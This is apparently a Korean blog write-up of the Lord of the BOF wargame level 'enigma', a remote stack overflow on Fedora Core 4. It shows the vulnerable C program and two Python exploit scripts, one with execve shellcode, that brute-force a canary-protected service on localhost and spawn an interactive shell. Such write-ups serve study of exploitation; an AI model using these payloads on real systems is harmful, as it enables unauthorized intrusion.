엌ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ 풀어놓고 포스팅을 까먹었음ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
지금이라도 포스팅 해볼게여
/*
The Lord of the BOF : The Fellowship of the BOF
- enigma
- Remote BOF on Fedora Core 4
- hint : ?
- port : TCP 7777
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int vuln(int canary,char *ptr)
{
char buffer[256];
int *ret;
// stack overflow!!
strcpy(buffer,ptr);
// overflow protected
if(canary != 0x31337)
{
printf("who broke my canary?!");
exit(1);
}
// preventing RTL
ret = &canary - 1;
if((*ret & 0xff000000) == 0)
{
printf("I've an allergy to NULL");
exit(1);
}
// clearing attack buffer
memset(ptr, 0, 1024);
return 0;
}
int main()
{
char buffer[1024];
printf("enigma : The brothers will be glad to have you!\n");
printf("you : ");
fflush(stdout);
// give me a food!
fgets(buffer, 1024, stdin);
// oops~!
vuln(0x31337, buffer);
// bye bye
exit(0);
}
코드를 보면 fgets 로 값을 받는데 이부분에서 bof 는 일어나지 않고 vuln 이란 함수로 0x31337, buffer 를 넘깁니다
vuln 함수에서 strcpy 부분에서 bof 가 일어나네요! 그리고 canary.... 덤으로 RTL도 막아영 ㅎㅎㅎ.....
이문제 넘나 오래걸린것 ㅠㅠ 디게 단순한데 fake ebp가 아직도 안익숙한..
일단 sfp ret 둘다 조작할수 있으니 fake ebp로 조집시당.
canary 가 함수 인자로 준 형태라서 ret 보다 뒤에있는거 유의하셔야됩니당.
fake ebp 로 조지려고 보니 nx....? 그러니 mportect 함수로 풀어버리고 stdin 으로 주소를 돌립시다.
라고 하려 했는데 aslr 로 stdin 주소가 바뀌는것을 까먹고 삽질하다
어찌어찌 알아서 코드를 짜서 해보니
from time import *
import struct
from socket import *
p32 = lambda x : struct.pack("<I", x)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
ret = 0x0804858e
stdin = 0xb7f5e000
mprotect = 0x86d240
ebp = stdin + 268
pay = "\x90" *(260-len(shellcode))
pay += shellcode
pay += p32(ebp) + p32(ret)
pay += p32(0x31337)
pay += p32(mprotect) + p32(stdin)*2 + p32(2048) + p32(7)
i=0
while True:
print "[%d]"%i
i = i+1
p = socket(AF_INET, SOCK_STREAM)
p.connect(("localhost",7777))
p.recv(1024)
p.send(pay+"\n")
sleep(0.5)
p.send("id\n")
if p.recv(1024)!='':
while True:
tmp = raw_input('$')
p.send(tmp+"\n")
print p.recv(1024)
p.close()
안됨.....ㅎㅎㅎㅎㅎ
그래서 shellcode 쓰는건 포기하고 rtl 로 가자! 해서
mprotect 대신 execve 를 쓰도록 합시다. \x00 은
execve + dummy + /bin/sh + (execve + 20) + execve + 24 + "\x00\x00\x00\x00"
이런식으로 하면 되니까!
from time import *
import struct
from socket import *
p32 = lambda x : struct.pack("<I", x)
ret = 0x0804858e
stdin = 0xb7f5f000
mprotect = 0x86d240
ebp = stdin + 268
execve = 0x832abc
binsh = 0x8bd987
pay = "\x90"*260
pay += p32(ebp) + p32(ret)
pay += p32(0x31337)
pay += p32(execve) + "ABCD" + p32(binsh) + p32(ebp + 20) + p32(ebp + 24) + p32(0x00000000)
i=0
while True:
print "[%d]"%i
i = i+1
p = socket(AF_INET, SOCK_STREAM)
p.connect(("localhost",7777))
p.recv(1024)
p.send(pay+"\n")
sleep(0.2)
p.send("id\n")
if p.recv(1024):
while True:
try:
p.send(raw_input('$') + '\n')
except EOFError:
p.close()
break
print p.recv(1024)
p.close()
마지막 if ~ print p.recv 부분은 블로그를 참고했습니당... 이부분에서 에러가 너무 ㅠㅠ
클리어!